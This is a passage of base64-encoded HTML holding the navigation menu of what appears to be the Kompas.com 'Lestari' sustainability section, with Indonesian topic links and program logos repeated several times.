hIGhyZWY9Ii8iPlN3YXN0YTwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPkxTTS9GaWd1cjwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPkJVTU48L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5VTUtNPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fc3VibGluay0taG90Ij5OdXNhdGlydGE8L2E+PC9saT4KICAgICAgICA8L3VsPgogICAgPC9saT4KICAgIDxsaSBjbGFzcz0ibmF2U3ViLWNvbCAtLWNvbDIiPgogICAgICAgIDxkaXYgY2xhc3M9Im5hdlN1Yi1zdWJjb2wgLS1zdWJjb2wiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJuYXZTdWItZ3J1cCI+PGEgaHJlZj0iLyI+S2VzZWhhdGFuPC9hPjwvZGl2PgogICAgICAgICAgICA8dWwgY2xhc3M9Im5hdlN1Yi1pbm5lciI+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+S2VoaWR1cGFuIHNlaGF0IGRhbiBzZWphaHRlcmE8L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5BaXIgYmVyc2loIGRhbiBzYW5pdGFzaSBsYXlhazwvYT48L2xpPgogICAgICAgICAgICA8L3VsPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJuYXZTdWItZ3J1cCI+PGEgaHJlZj0iLyI+UGVuZGlkaWthbjwvYT48L2Rpdj4KICAgICAgICAgICAgPHVsIGNsYXNzPSJuYXZTdWItaW5uZXIiPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPlBlbmRpZGlrYW4gQmVya3VhbGl0YXM8L2E+PC9saT4KICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibmF2U3ViLWdydXAiPjxhIGhyZWY9Ii8iPkxpbmdrdW5nYW48L2E+PC9kaXY+CiAgICAgICAgICAgIDx1bCBjbGFzcz0ibmF2U3ViLWlubmVyIj4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5FbmVyZ2kgQmVyc2loIGRhbiBUZXJqYW5na2F1PC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+UGVuYW5nYW5hbiBQZXJ1YmFoYW4gSWtsaW08L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5Fa29zaXN0ZW0gTGF1dGFuPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+RWtvc2lzdGVtIERhcmF0YW48L2E+PC9saT4KICAgICAgICAgICAgPC91bD4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJuYXZTdWItc3ViY29sIC0tc3ViY29sIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibmF2U3ViLWdydXAiPjxhIGhyZWY9Ii8iPkVrb25vbWkgZGFuIFVNS008L2E+PC9kaXY+CiAgICAgICAgICAgIDx1bCBjbGFzcz0ibmF2U3ViLWlubmVyIj4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5UYW5wYSBLZW1pc2tpbmFuPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+VGFucGEgS2VsYXBhcmFuPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+S2VzZXRhcmFhbiBHZW5kZXI8L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5QZWtlcmphYW4gTGF5YWsgZGFuIFBlcnR1bWJ1aGFuIGVrb25vbWk8L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5JbmR1c3RyaSwgSW5vdmFzaSAmYW1wOyBJbmZyYXN0cnVrdHVyPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+QmVya3VyYW5nbnlhIEtlc2VuamFuZ2FuPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+S290YSAmYW1wOyBQZW11a2ltYW4geWFuZyBCZXJrZWxhbmp1dGFuPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+S29uc3Vtc2kgJmFtcDsgUHJvZHVrc2kgeWFuZyBiZXJ0YW5nZ3VuZ2phd2FiPC9hPjwvbGk+CiAgICAgICAgICAgIDwvdWw+CiAgICAgICAgPC9kaXY+CiAgICA8L2xpPgogICAgPGxpIGNsYXNzPSJuYXZTdWItY29sIC0tY29sMyI+CiAgICAgICAgPGRpdiBjbGFzcz0ibmF2U3ViLWxhYmVsIj5QUk9HUkFNIExFU1RBUkk8L2Rpdj4KICAgICAgICA8dWwgY2xhc3M9Im5hdlN1Yi1pbm5lciI+CiAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZMZXN0YXJpUHJvZ3JhbSI+CiAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMjMvMDIvMjEwOS9rb21wYXNjb20vZGVza3RvcC9pbWFnZXMvbGVzdGFyaS9sb2dvLWphZ29hbi1sb2thbC5wbmciIGFsdD0iQ2FudGlrcHJlbmV1cnNoaXAiIC8+CiAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZMZXN0YXJpUHJvZ3JhbSI+CiAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMjMvMDIvMjEwOS9rb21wYXNjb20vZGVza3RvcC9pbWFnZXMvbGVzdGFyaS9sb2dvLWplcm5paGthbi1idW1pLnBuZyIgYWx0PSJKZXJuaWhrYW4gQnVtaSIgLz4KICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdkxlc3RhcmlQcm9ncmFtIj4KICAgICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAyMy8wMi8yMTA5L2tvbXBhc2NvbS9kZXNrdG9wL2ltYWdlcy9sZXN0YXJpL2xvZ28tamVybmloa2FuLWhhcmFwYW4ucG5nIiBhbHQ9Ikplcm5paGthbiBIYXJhcGFuIiAvPgogICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICA8L2xpPgogICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2TGVzdGFyaVByb2dyYW0iPgogICAgICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2Fzc2V0LmtvbXBhcy5jb20vZGF0YS8yMDIzLzAyLzIxMDkva29tcGFzY29tL2Rlc2t0b3AvaW1hZ2VzL2xlc3RhcmkvbG9nby1mZXN0aXZhbC1jZWJhbi5wbmciIGFsdD0iRmVzdGl2YWwgQ2ViYW4iIC8+CiAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZMZXN0YXJpUHJvZ3JhbSI+IAogICAgICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2Fzc2V0LmtvbXBhcy5jb20vZGF0YS8yMDIzLzA2LzA3L2tvbXBhc2NvbS9kZXNrdG9wL2xlc3RhcmkvaW1hZ2VzL2xvZ29fZ2F0ZV9qdXJuYWxpc21lLnBuZyIgYWx0PSJKdXJuYWxpc21lIEJlcmtlYmFuZ3NhYW4iIC8+CiAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZMZXN0YXJpUHJvZ3JhbSI+IAogICAgICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2Fzc2V0LmtvbXBhcy5jb20vZGF0YS8yMDIzLzA2LzIyL2tvbXBhc2NvbS9tb2JpbGUvbGVzdGFyaS9pbWFnZXMvbG9nby1nZW5lcmFzaWJhbmdraXQuc3ZnP3Y9MSIgYWx0PSJHZW5lcmFzaSBCYW5na2l0IiAvPgogICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICA8L2xpPgogICAgICAgIDwvdWw+CiAgICAgICAgPGEgY2xhc3M9Im5hdlN1Yi1tb3JlIiBocmVmPSIvIj5MaWhhdCBzZW11YTwvYT4KICAgIDwvbGk+CjwvdWw+PC9hPjxsaSBjbGFzcz0ibmF2U3ViLWNvbCAtLWNvbDEiPjxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZfX2xpbmsgbmF2X19saW5rLS1sZXN0YXJpIj4KICAgICAgICA8dWwgaWQ9Imxlc3RhcmlNZW51IiBjbGFzcz0ibmF2X19zdWIgbmF2X19zdWItLWxlc3RhcmkgbmF2U3ViIj48YSBocmVmPSIvIiBjbGFzcz0ibmF2X19saW5rIG5hdl9fbGluay0tbGVzdGFyaSI+CiAgICA8L2E+PGxpIGNsYXNzPSJuYXZTdWItY29sIC0tY29sMSI+PGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fbGluayBuYXZfX2xpbmstLWxlc3RhcmkiPgogICAgICAgIDwvYT48dWwgY2xhc3M9Im5hdlN1Yi1pbm5lciI+PGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fbGluayBuYXZfX2xpbmstLWxlc3RhcmkiPgogICAgICAgICAgICAgICAgPC9hPjxsaT48YSBocmVmPSIvIiBjbGFzcz0ibmF2X19saW5rIG5hdl9fbGluay0tbGVzdGFyaSI+PC9hPjxhIGhyZWY9Ii8iPlBlbWVyaW50YWg8L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5Td2FzdGE8L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5MU00vRmlndXI8L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5CVU1OPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+VU1LTTwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZfX3N1YmxpbmstLWhvdCI+TnVzYXRpcnRhPC9hPjwvbGk+CiAgICAgICAgPC91bD4KICAgIDwvbGk+CiAgICA8bGkgY2xhc3M9Im5hdlN1Yi1jb2wgLS1jb2wyIj4KICAgICAgICA8ZGl2IGNsYXNzPSJuYXZTdWItc3ViY29sIC0tc3ViY29sIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibmF2U3ViLWdydXAiPjxhIGhyZWY9Ii8iPktlc2VoYXRhbjwvYT48L2Rpdj4KICAgICAgICAgICAgPHVsIGNsYXNzPSJuYXZTdWItaW5uZXIiPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPktlaGlkdXBhbiBzZWhhdCBkYW4gc2VqYWh0ZXJhPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+QWlyIGJlcnNpaCBkYW4gc2FuaXRhc2kgbGF5YWs8L2E+PC9saT4KICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibmF2U3ViLWdydXAiPjxhIGhyZWY9Ii8iPlBlbmRpZGlrYW48L2E+PC9kaXY+CiAgICAgICAgICAgIDx1bCBjbGFzcz0ibmF2U3ViLWlubmVyIj4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5QZW5kaWRpa2FuIEJlcmt1YWxpdGFzPC9hPjwvbGk+CiAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im5hdlN1Yi1ncnVwIj48YSBocmVmPSIvIj5MaW5na3VuZ2FuPC9hPjwvZGl2PgogICAgICAgICAgICA8dWwgY2xhc3M9Im5hdlN1Yi1pbm5lciI+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+RW5lcmdpIEJlcnNpaCBkYW4gVGVyamFuZ2thdTwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPlBlbmFuZ2FuYW4gUGVydWJhaGFuIElrbGltPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+RWtvc2lzdGVtIExhdXRhbjwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPkVrb3Npc3RlbSBEYXJhdGFuPC9hPjwvbGk+CiAgICAgICAgICAgIDwvdWw+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0ibmF2U3ViLXN1YmNvbCAtLXN1YmNvbCI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im5hdlN1Yi1ncnVwIj48YSBocmVmPSIvIj5Fa29ub21pIGRhbiBVTUtNPC9hPjwvZGl2PgogICAgICAgICAgICA8dWwgY2xhc3M9Im5hdlN1Yi1pbm5lciI+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+VGFucGEgS2VtaXNraW5hbjwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPlRhbnBhIEtlbGFwYXJhbjwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPktlc2V0YXJhYW4gR2VuZGVyPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+UGVrZXJqYWFuIExheWFrIGRhbiBQZXJ0dW1idWhhbiBla29ub21pPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+SW5kdXN0cmksIElub3Zhc2kgJmFtcDsgSW5mcmFzdHJ1a3R1cjwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPkJlcmt1cmFuZ255YSBLZXNlbmphbmdhbjwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPktvdGEgJmFtcDsgUGVtdWtpbWFuIHlhbmcgQmVya2VsYW5qdXRhbjwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPktvbnN1bXNpICZhbXA7IFByb2R1a3NpIHlhbmcgYmVydGFuZ2d1bmdqYXdhYjwvYT48L2xpPgogICAgICAgICAgICA8L3VsPgogICAgICAgIDwvZGl2PgogICAgPC9saT4KICAgIDxsaSBjbGFzcz0ibmF2U3ViLWNvbCAtLWNvbDMiPgogICAgICAgIDxkaXYgY2xhc3M9Im5hdlN1Yi1sYWJlbCI+UFJPR1JBTSBMRVNUQVJJPC9kaXY+CiAgICAgICAgPHVsIGNsYXNzPSJuYXZTdWItaW5uZXIiPgogICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2TGVzdGFyaVByb2dyYW0iPgogICAgICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2Fzc2V0LmtvbXBhcy5jb20vZGF0YS8yMDIzLzAyLzIxMDkva29tcGFzY29tL2Rlc2t0b3AvaW1hZ2VzL2xlc3RhcmkvbG9nby1qYWdvYW4tbG9rYWwucG5nIiBhbHQ9IkNhbnRpa3ByZW5ldXJzaGlwIiAvPgogICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICA8L2xpPgogICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2TGVzdGFyaVByb2dyYW0iPgogICAgICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2Fzc2V0LmtvbXBhcy5jb20vZGF0YS8yMDIzLzAyLzIxMDkva29tcGFzY29tL2Rlc2t0b3AvaW1hZ2VzL2xlc3RhcmkvbG9nby1qZXJuaWhrYW4tYnVtaS5wbmciIGFsdD0iSmVybmloa2FuIEJ1bWkiIC8+CiAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZMZXN0YXJpUHJvZ3JhbSI+CiAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMjMvMDIvMjEwOS9rb21wYXNjb20vZGVza3RvcC9pbWFnZXMvbGVzdGFyaS9sb2dvLWplcm5paGthbi1oYXJhcGFuLnBuZyIgYWx0PSJKZXJuaWhrYW4gSGFyYXBhbiIgLz4KICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdkxlc3RhcmlQcm9ncmFtIj4KICAgICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAyMy8wMi8yMTA5L2tvbXBhc2NvbS9kZXNrdG9wL2ltYWdlcy9sZXN0YXJpL2xvZ28tZmVzdGl2YWwtY2ViYW4ucG5nIiBhbHQ9IkZlc3RpdmFsIENlYmFuIiAvPgogICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICA8L2xpPgogICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2TGVzdGFyaVByb2dyYW0iPiAKICAgICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAyMy8wNi8wNy9rb21wYXNjb20vZGVza3RvcC9sZXN0YXJpL2ltYWdlcy9sb2dvX2dhdGVfanVybmFsaXNtZS5wbmciIGFsdD0iSnVybmFsaXNtZSBCZXJrZWJhbmdzYWFuIiAvPgogICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICA8L2xpPgogICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2TGVzdGFyaVByb2dyYW0iPiAKICAgICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAyMy8wNi8yMi9rb21wYXNjb20vbW9iaWxlL2xlc3RhcmkvaW1hZ2VzL2xvZ28tZ2VuZXJhc2liYW5na2l0LnN2Zz92PTEiIGFsdD0iR2VuZXJhc2kgQmFuZ2tpdCIgLz4KICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgPC9saT4KICAgICAgICA8L3VsPgogICAgICAgIDxhIGNsYXNzPSJuYXZTdWItbW9yZSIgaHJlZj0iLyI+TGloYXQgc2VtdWE8L2E+CiAgICA8L2xpPgo8L3VsPjwvYT48dWwgY2xhc3M9Im5hdlN1Yi1pbm5lciI+PGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fbGluayBuYXZfX2xpbmstLWxlc3RhcmkiPgogICAgICAgICAgICAgICAgPHVsIGlkPSJsZXN0YXJpTWVudSIgY2xhc3M9Im5hdl9fc3ViIG5hdl9fc3ViLS1sZXN0YXJpIG5hdlN1YiI+PGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fbGluayBuYXZfX2xpbmstLWxlc3RhcmkiPgogICAgPC9hPjxsaSBjbGFzcz0ibmF2U3ViLWNvbCAtLWNvbDEiPjxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZfX2xpbmsgbmF2X19saW5rLS1sZXN0YXJpIj4KICAgICAgICA8L2E+PHVsIGNsYXNzPSJuYXZTdWItaW5uZXIiPjxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZfX2xpbmsgbmF2X19saW5rLS1sZXN0YXJpIj4KICAgICAgICAgICAgICAgIDwvYT48bGk+PGEgaHJlZj0iLyIgY2xhc3M9Im5hdl9fbGluayBuYXZfX2xpbmstLWxlc3RhcmkiPjwvYT48YSBocmVmPSIvIj5QZW1lcmludGFoPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+U3dhc3RhPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+TFNNL0ZpZ3VyPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+QlVNTjwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPlVNS008L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIiBjbGFzcz0ibmF2X19zdWJsaW5rLS1ob3QiPk51c2F0aXJ0YTwvYT48L2xpPgogICAgICAgIDwvdWw+CiAgICA8L2xpPgogICAgPGxpIGNsYXNzPSJuYXZTdWItY29sIC0tY29sMiI+CiAgICAgICAgPGRpdiBjbGFzcz0ibmF2U3ViLXN1YmNvbCAtLXN1YmNvbCI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im5hdlN1Yi1ncnVwIj48YSBocmVmPSIvIj5LZXNlaGF0YW48L2E+PC9kaXY+CiAgICAgICAgICAgIDx1bCBjbGFzcz0ibmF2U3ViLWlubmVyIj4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5LZWhpZHVwYW4gc2VoYXQgZGFuIHNlamFodGVyYTwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPkFpciBiZXJzaWggZGFuIHNhbml0YXNpIGxheWFrPC9hPjwvbGk+CiAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im5hdlN1Yi1ncnVwIj48YSBocmVmPSIvIj5QZW5kaWRpa2FuPC9hPjwvZGl2PgogICAgICAgICAgICA8dWwgY2xhc3M9Im5hdlN1Yi1pbm5lciI+CiAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+UGVuZGlkaWthbiBCZXJrdWFsaXRhczwvYT48L2xpPgogICAgICAgICAgICA8L3VsPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJuYXZTdWItZ3J1cCI+PGEgaHJlZj0iLyI+TGluZ2t1bmdhbjwvYT48L2Rpdj4KICAgICAgICAgICAgPHVsIGNsYXNzPSJuYXZTdWItaW5uZXIiPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPkVuZXJnaSBCZXJzaWggZGFuIFRlcmphbmdrYXU8L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5QZW5hbmdhbmFuIFBlcnViYWhhbiBJa2xpbTwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPkVrb3Npc3RlbSBMYXV0YW48L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5Fa29zaXN0ZW0gRGFyYXRhbjwvYT48L2xpPgogICAgICAgICAgICA8L3VsPgogICAgICAgIDwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9Im5hdlN1Yi1zdWJjb2wgLS1zdWJjb2wiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJuYXZTdWItZ3J1cCI+PGEgaHJlZj0iLyI+RWtvbm9taSBkYW4gVU1LTTwvYT48L2Rpdj4KICAgICAgICAgICAgPHVsIGNsYXNzPSJuYXZTdWItaW5uZXIiPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPlRhbnBhIEtlbWlza2luYW48L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5UYW5wYSBLZWxhcGFyYW48L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5LZXNldGFyYWFuIEdlbmRlcjwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPlBla2VyamFhbiBMYXlhayBkYW4gUGVydHVtYnVoYW4gZWtvbm9taTwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iPkluZHVzdHJpLCBJbm92YXNpICZhbXA7IEluZnJhc3RydWt0dXI8L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5CZXJrdXJhbmdueWEgS2VzZW5qYW5nYW48L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5Lb3RhICZhbXA7IFBlbXVraW1hbiB5YW5nIEJlcmtlbGFuanV0YW48L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIj5Lb25zdW1zaSAmYW1wOyBQcm9kdWtzaSB5YW5nIGJlcnRhbmdndW5namF3YWI8L2E+PC9saT4KICAgICAgICAgICAgPC91bD4KICAgICAgICA8L2Rpdj4KICAgIDwvbGk+CiAgICA8bGkgY2xhc3M9Im5hdlN1Yi1jb2wgLS1jb2wzIj4KICAgICAgICA8ZGl2IGNsYXNzPSJuYXZTdWItbGFiZWwiPlBST0dSQU0gTEVTVEFSSTwvZGl2PgogICAgICAgIDx1bCBjbGFzcz0ibmF2U3ViLWlubmVyIj4KICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdkxlc3RhcmlQcm9ncmFtIj4KICAgICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAyMy8wMi8yMTA5L2tvbXBhc2NvbS9kZXNrdG9wL2ltYWdlcy9sZXN0YXJpL2xvZ28tamFnb2FuLWxva2FsLnBuZyIgYWx0PSJDYW50aWtwcmVuZXVyc2hpcCIgLz4KICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdkxlc3RhcmlQcm9ncmFtIj4KICAgICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAyMy8wMi8yMTA5L2tvbXBhc2NvbS9kZXNrdG9wL2ltYWdlcy9sZXN0YXJpL2xvZ28tamVybmloa2FuLWJ1bWkucG5nIiBhbHQ9Ikplcm5paGthbiBCdW1pIiAvPgogICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICA8L2xpPgogICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICA8YSBocmVmPSIvIiBjbGFzcz0ibmF2TGVzdGFyaVByb2dyYW0iPgogICAgICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2Fzc2V0LmtvbXBhcy5jb20vZGF0YS8yMDIzLzAyLzIxMDkva29tcGFzY29tL2Rlc2t0b3AvaW1hZ2VzL2xlc3RhcmkvbG9nby1qZXJuaWhrYW4taGFyYXBhbi5wbmciIGFsdD0iSmVybmloa2FuIEhhcmFwYW4iIC8+CiAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZMZXN0YXJpUHJvZ3JhbSI+CiAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMjMvMDIvMjEwOS9rb21wYXNjb20vZGVza3RvcC9pbWFnZXMvbGVzdGFyaS9sb2dvLWZlc3RpdmFsLWNlYmFuLnBuZyIgYWx0PSJGZXN0aXZhbCBDZWJhbiIgLz4KICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdkxlc3RhcmlQcm9ncmFtIj4gCiAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMjMvMDYvMDcva29tcGFzY29tL2Rlc2t0b3AvbGVzdGFyaS9pbWFnZXMvbG9nb19nYXRlX2p1cm5hbGlzbWUucG5nIiBhbHQ9Ikp1cm5hbGlzbWUgQmVya2ViYW5nc2FhbiIgLz4KICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgPGEgaHJlZj0iLyIgY2xhc3M9Im5hdkxlc3RhcmlQcm9ncmFtIj4gCiAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMjMvMDYvMjIva29tcGFzY29tL21vYmlsZS9sZXN0YXJpL2ltYWdlcy9sb2dvLWdlbmVyYXNpY